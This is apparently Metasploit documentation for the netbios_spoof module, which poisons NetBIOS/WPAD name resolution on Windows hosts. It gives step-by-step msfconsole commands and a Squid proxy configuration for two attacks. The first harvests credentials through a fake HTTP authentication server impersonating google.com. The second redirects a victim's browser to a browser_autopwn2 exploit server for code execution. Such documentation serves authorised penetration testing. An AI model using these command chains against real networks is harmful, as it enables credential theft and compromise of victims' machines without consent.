3.3 KiB
netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. By default, the module will attempt to poison WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal sensitive information, or obtain arbitrary code execution.
Vulnerable Application
Windows is the most ideal target because it supports WPAD by default.
Options
NBADDR
The address that the NetBIOS name (NBNAME) should resolve to.
NBNAME
The NetBIOS name to spoof a reply for.
PPSRATE
The rate at which to send NetBIOS replies.
Scenarios
Credential Collection Attack Using Targeted NetBIOS Spoofing:
The following example uses http_basic, but other modules (such as http_ntlm) also applies.
Step 1: Start the first Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/server/capture/http_basic
set REALM google.com
set URIPATH /
run
Step 2: Start the second Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/admin/netbios/netbios_spoof
set NBADDR [IP to fake HTTP auth server]
set PPSRATE 30000
set RHOST [Target Host]
run
Step 3: On the victim machine:
- Make sure IE automatically detects settings (under LAN settings)
- Start IE, as soon as it opens, IE should try to authenticate.
If the spoofed name has already been cached, you can do this to flush. And then next time IE will be asked for credentials again.
ipconfig /flushdns
Arbitrary Code Execution Using Targeted NetBIOS Spoofing:
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
Step 1: Start the first Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/server/browser_autopwn2
set SRVPORT 8181
run
Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
Step 2: Install Squid Proxy server (or SquidMan if you use OS X), and edit the configuration file:
First, uncomment these settings if they are found in the file:
- http_access deny all
- http_access deny !Safe_ports
- http_access deny CONNECT !SSL_ports
- http_access deny to_localhost
- http_access deny all
- always_direct deny all
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn URL field:
acl MyNetwork src 192.168.1.0/24
acl BLKSite dstdomain .google.com
deny_info [BrowserAutoPwn URL] all
http_reply_access deny BLKSite all
http_access allow MyNetwork
Step 3: Start the second Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/server/wpad
set PROXY [Proxy IP]
set PROXYPORT 8080
run
Step 4: Start the third Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/admin/netbios/netbios_spoof
set NBADDR [IP to fake HTTP server]
set PPSRATE 30000
set RHOST [Target Host]
run
Step 5: On the victim machine:
- Make sure IE automatically detects settings (under LAN settings)
- Start IE
- Go to google.com, IE should end up loading the exploit server.
If the spoofed name has already been cached, you can do this to flush.
ipconfig /flushdns